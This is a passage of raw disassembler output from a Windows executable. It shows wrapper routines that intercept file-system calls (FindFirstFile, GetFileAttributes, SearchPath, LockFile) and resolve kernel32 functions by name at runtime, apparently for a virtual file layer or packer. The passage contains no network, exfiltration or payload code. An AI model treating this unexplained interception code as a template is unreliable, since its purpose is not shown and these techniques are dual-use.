		cmp	[ebp+var_18], 0
		jz	short loc_49B082
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*8]
		push	eax
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4A70D4
		call	sub_49C98E

loc_49B082:				; CODE XREF: sub_49AF43+F6j
					; sub_49AF43+119j ...
		jmp	loc_49AFEE
; ---------------------------------------------------------------------------

loc_49B087:				; CODE XREF: sub_49AF43+B8j
		cmp	[ebp+arg_8], offset dword_49F5B4
		jnz	short locret_49B0BA
		cmp	[ebp+var_4], 0
		jz	short locret_49B0BA
		push	offset aWritefile ; "WriteFile"
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_49AC8E
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short locret_49B0BA
		mov	eax, [ebp+var_20]
		mov	ds:dword_4A27BC, eax

locret_49B0BA:				; CODE XREF: sub_49AF43+14Bj
					; sub_49AF43+151j ...
		leave
		retn
sub_49AF43	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B0BC	proc near		; CODE XREF: _4:0048E715p
		push	ebp
		mov	ebp, esp
		push	0
		call	sub_49B0C8
		pop	ebp
		retn
sub_49B0BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B0C8	proc near		; CODE XREF: sub_40CAF1+478p
					; sub_40D3A5+DFp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FA00
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset dword_4A70B8
		call	ds:dword_4A26C4	; RtlEnterCriticalSection
		mov	ds:byte_4A70D0,	1
		push	0
		call	sub_49AC54
		and	[ebp+var_4], 0
		call	sub_4981C3
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49B138
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 1
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49B134
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh

loc_49B134:				; CODE XREF: sub_49B0C8+5Fj
		or	[ebp+var_4], 0FFFFFFFFh

loc_49B138:				; CODE XREF: sub_49B0C8+4Bj
		mov	[ebp+var_4], 2
		call	sub_4956D0
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49B16D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 3
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49B169
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh

loc_49B169:				; CODE XREF: sub_49B0C8+94j
		or	[ebp+var_4], 0FFFFFFFFh

loc_49B16D:				; CODE XREF: sub_49B0C8+80j
		mov	[ebp+var_4], 4
		push	[ebp+arg_0]
		call	ds:dword_4A26C8	; ExitProcess
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49B1B6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 5
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49B1A2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh

loc_49B1A2:				; CODE XREF: sub_49B0C8+CDj
		push	[ebp+arg_0]
		call	ds:dword_4A26E4	; GetCurrentProcess
		push	eax
		call	ds:dword_4A2798	; TerminateProcess
		or	[ebp+var_4], 0FFFFFFFFh

loc_49B1B6:				; CODE XREF: sub_49B0C8+B9j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_49B0C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B1C7	proc near		; CODE XREF: sub_40AB7C+22p
					; sub_40B56C+27p
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	offset dword_49F5B4
		push	offset aSearchpatha_0 ;	"SearchPathA"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_49B20D
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_4]
		call	sub_4929D2
		test	eax, eax
		jz	short loc_49B20D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	ds:dword_4A2708	; GetFullPathNameA
		jmp	short locret_49B222
; ---------------------------------------------------------------------------

loc_49B20D:				; CODE XREF: sub_49B1C7+20j
					; sub_49B1C7+30j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_4]

locret_49B222:				; CODE XREF: sub_49B1C7+44j
		leave
		retn	18h
sub_49B1C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B226	proc near		; DATA XREF: _6:004A2360o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FA48
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_49B296
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte

loc_49B296:				; CODE XREF: sub_49B226+35j
		cmp	[ebp+arg_0], 0
		jnz	short loc_49B2D3
		push	0
		xor	edx, edx
		mov	ecx, [ebp+var_20]
		call	sub_4929D2
		test	eax, eax
		jz	short loc_49B2D3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	ds:dword_4A270C	; GetFullPathNameW
		push	0FFFFFFFFh
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_49B323
; ---------------------------------------------------------------------------

loc_49B2D3:				; CODE XREF: sub_49B226+74j
					; sub_49B226+84j
		push	offset dword_49F5B4
		push	offset aSearchpathw ; "SearchPathW"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_1C]
		push	0FFFFFFFFh
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_49B323
; ---------------------------------------------------------------------------

loc_49B311:				; DATA XREF: _5:0049FA50o
		mov	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_4993DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax

loc_49B323:				; CODE XREF: sub_49B226+ABj
					; sub_49B226+E9j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_49B226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B334	proc near		; CODE XREF: sub_406387+201p
					; sub_408EE5+3Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_49063E
		test	eax, eax
		jnz	short loc_49B35A
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A26D0	; FindFirstFileA
		mov	[ebp+var_4], eax

loc_49B35A:				; CODE XREF: sub_49B334+15j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_49B334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B361	proc near		; DATA XREF: _6:004A2300o

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_134		= byte ptr -134h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0049B496 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FA58
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_168], eax
		mov	eax, [ebp+var_168]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+var_20]
		call	sub_49063E
		test	eax, eax
		jnz	short loc_49B416
		and	[ebp+var_164], 0
		push	offset dword_49F5B4
		push	offset aFindfirstfilew ; "FindFirstFileW"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_164], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_164]
		mov	[ebp+var_1C], eax
		jmp	short loc_49B475
; ---------------------------------------------------------------------------

loc_49B416:				; CODE XREF: sub_49B361+84j
		lea	ecx, [ebp+var_134]
		lea	eax, [ebp+var_160]
		sub	ecx, eax
		lea	esi, [ebp+var_160]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_4]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_134]
		push	eax
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_4]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_30]
		push	eax
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar

loc_49B475:				; CODE XREF: sub_49B361+B3j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49B480
		jmp	short loc_49B496
sub_49B361	endp


; =============== S U B	R O U T	I N E =======================================



sub_49B480	proc near		; CODE XREF: sub_49B361+118p
					; DATA XREF: _5:0049FA60o
		mov	eax, [ebp-20h]
		mov	[ebp-16Ch], eax
		push	dword ptr [ebp-16Ch]
		call	sub_4993DD
		pop	ecx
		retn
sub_49B480	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49B361

loc_49B496:				; CODE XREF: sub_49B361+11Dj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_49B361

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B4AA	proc near		; DATA XREF: _6:004A2308o

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_134		= byte ptr -134h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0049B5EB SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FA68
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_168], eax
		mov	eax, [ebp+var_168]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+var_20]
		call	sub_49063E
		test	eax, eax
		jnz	short loc_49B56B
		and	[ebp+var_164], 0
		push	offset dword_49F5B4
		push	offset aFindfirstfilee ; "FindFirstFileExW"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_164], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_164]
		mov	[ebp+var_1C], eax
		jmp	short loc_49B5CA
; ---------------------------------------------------------------------------

loc_49B56B:				; CODE XREF: sub_49B4AA+84j
		lea	ecx, [ebp+var_134]
		lea	eax, [ebp+var_160]
		sub	ecx, eax
		lea	esi, [ebp+var_160]
		mov	edi, [ebp+arg_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_8]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_134]
		push	eax
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_8]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_30]
		push	eax
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar

loc_49B5CA:				; CODE XREF: sub_49B4AA+BFj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49B5D5
		jmp	short loc_49B5EB
sub_49B4AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_49B5D5	proc near		; CODE XREF: sub_49B4AA+124p
					; DATA XREF: _5:0049FA70o
		mov	eax, [ebp-20h]
		mov	[ebp-16Ch], eax
		push	dword ptr [ebp-16Ch]
		call	sub_4993DD
		pop	ecx
		retn
sub_49B5D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49B4AA

loc_49B5EB:				; CODE XREF: sub_49B4AA+129j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_49B4AA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B5FF	proc near		; CODE XREF: sub_406387+5ECp
					; sub_408EE5+C0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_490818
		test	eax, eax
		jnz	short loc_49B61F
		push	[ebp+arg_0]
		call	ds:dword_4A26CC	; FindClose
		mov	[ebp+var_4], eax

loc_49B61F:				; CODE XREF: sub_49B5FF+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_49B5FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B626	proc near		; CODE XREF: sub_406387+212p
					; sub_406387+5DBp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4906DE
		test	eax, eax
		jnz	short loc_49B650
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A26D4	; FindNextFileA
		mov	[ebp+var_4], eax

loc_49B650:				; CODE XREF: sub_49B626+19j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_49B626	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B657	proc near		; DATA XREF: _6:004A2320o

var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 148h
		push	esi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+arg_0]
		call	sub_4906DE
		test	eax, eax
		jnz	short loc_49B6A8
		and	[ebp+var_148], 0
		push	offset dword_49F5B4
		push	offset aFindnextfilew ;	"FindNextFileW"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_148], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_148]
		mov	[ebp+var_4], eax
		jmp	short loc_49B707
; ---------------------------------------------------------------------------

loc_49B6A8:				; CODE XREF: sub_49B657+20j
		lea	ecx, [ebp+var_118]
		lea	eax, [ebp+var_144]
		sub	ecx, eax
		lea	esi, [ebp+var_144]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_4]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_4]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar

loc_49B707:				; CODE XREF: sub_49B657+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn	8
sub_49B657	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B710	proc near		; DATA XREF: _6:004A2390o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_491858
		test	eax, eax
		jnz	short loc_49B73A
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A26FC	; GetFileInformationByHandle
		mov	[ebp+var_4], eax

loc_49B73A:				; CODE XREF: sub_49B710+19j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_49B710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B741	proc near		; DATA XREF: _6:004A2398o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_491950
		test	eax, eax
		jnz	short loc_49B76F
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A2768	; LockFile
		mov	[ebp+var_4], eax
		jmp	short loc_49B776
; ---------------------------------------------------------------------------

loc_49B76F:				; CODE XREF: sub_49B741+12j
		mov	[ebp+var_4], 1

loc_49B776:				; CODE XREF: sub_49B741+2Cj
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_49B741	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B77D	proc near		; DATA XREF: _6:004A23A0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_491950
		test	eax, eax
		jnz	short loc_49B7A8
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A279C	; UnlockFile
		jmp	short locret_49B7AB
; ---------------------------------------------------------------------------

loc_49B7A8:				; CODE XREF: sub_49B77D+12j
		push	1
		pop	eax

locret_49B7AB:				; CODE XREF: sub_49B77D+29j
		leave
		retn	14h
sub_49B77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B7AF	proc near		; CODE XREF: sub_4060D0+110p
					; sub_40AC42+10Fp ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_492CA8
		test	eax, eax
		jnz	short loc_49B7CD
		push	[ebp+arg_0]
		call	ds:dword_4A26F4	; GetFileAttributesA
		jmp	short locret_49B7D9
; ---------------------------------------------------------------------------

loc_49B7CD:				; CODE XREF: sub_49B7AF+11j
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax

locret_49B7D9:				; CODE XREF: sub_49B7AF+1Cj
		leave
		retn	4
sub_49B7AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B7DD	proc near		; DATA XREF: _6:004A226Do

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0049B896 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FA78
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 103h
		ja	short loc_49B85E
		lea	edx, [ebp+var_28]
		mov	ecx, [ebp+var_20]
		call	sub_492CA8
		test	eax, eax
		jnz	short loc_49B86C

loc_49B85E:				; CODE XREF: sub_49B7DD+70j
		push	[ebp+arg_0]
		call	ds:dword_4A26F8	; GetFileAttributesW
		mov	[ebp+var_1C], eax
		jmp	short loc_49B87B
; ---------------------------------------------------------------------------

loc_49B86C:				; CODE XREF: sub_49B7DD+7Fj
		movzx	eax, [ebp+var_28]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax
		mov	[ebp+var_1C], eax

loc_49B87B:				; CODE XREF: sub_49B7DD+8Dj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49B886
		jmp	short loc_49B896
sub_49B7DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_49B886	proc near		; CODE XREF: sub_49B7DD+A2p
					; DATA XREF: _5:0049FA80o
		mov	eax, [ebp-20h]
		mov	[ebp-30h], eax
		push	dword ptr [ebp-30h]
		call	sub_4993DD
		pop	ecx
		retn
sub_49B886	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49B7DD

loc_49B896:				; CODE XREF: sub_49B7DD+A7j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_49B7DD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B8AA	proc near		; DATA XREF: _6:004A2275o

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0049B9D8 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FA88
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		lea	edx, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		call	sub_492CA8
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_49B995
		mov	[ebp+var_1C], 1
		movzx	eax, [ebp+var_24]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+0Ch]
		mov	ecx, [eax+1Ch]
		mov	eax, [eax+20h]
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		mov	[edx+8], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+0Ch]
		mov	ecx, [eax+1Ch]
		mov	eax, [eax+20h]
		mov	edx, [ebp+arg_8]
		mov	[edx+0Ch], ecx
		mov	[edx+10h], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+0Ch]
		mov	ecx, [eax+1Ch]
		mov	eax, [eax+20h]
		mov	edx, [ebp+arg_8]
		mov	[edx+14h], ecx
		mov	[edx+18h], eax
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax+1Ch], 0
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ecx+20h], eax
		jmp	short loc_49B9BD
; ---------------------------------------------------------------------------

loc_49B995:				; CODE XREF: sub_49B8AA+7Bj
		push	offset aKernel32_0 ; "kernel32"
		push	offset aGetfileattri_1 ; "GetFileAttributesExW"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	short loc_49B9BD
		push	[ebp+arg_8]
		push	0
		push	[ebp+arg_0]
		call	[ebp+var_30]
		mov	[ebp+var_1C], eax

loc_49B9BD:				; CODE XREF: sub_49B8AA+E9j
					; sub_49B8AA+103j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49B9C8
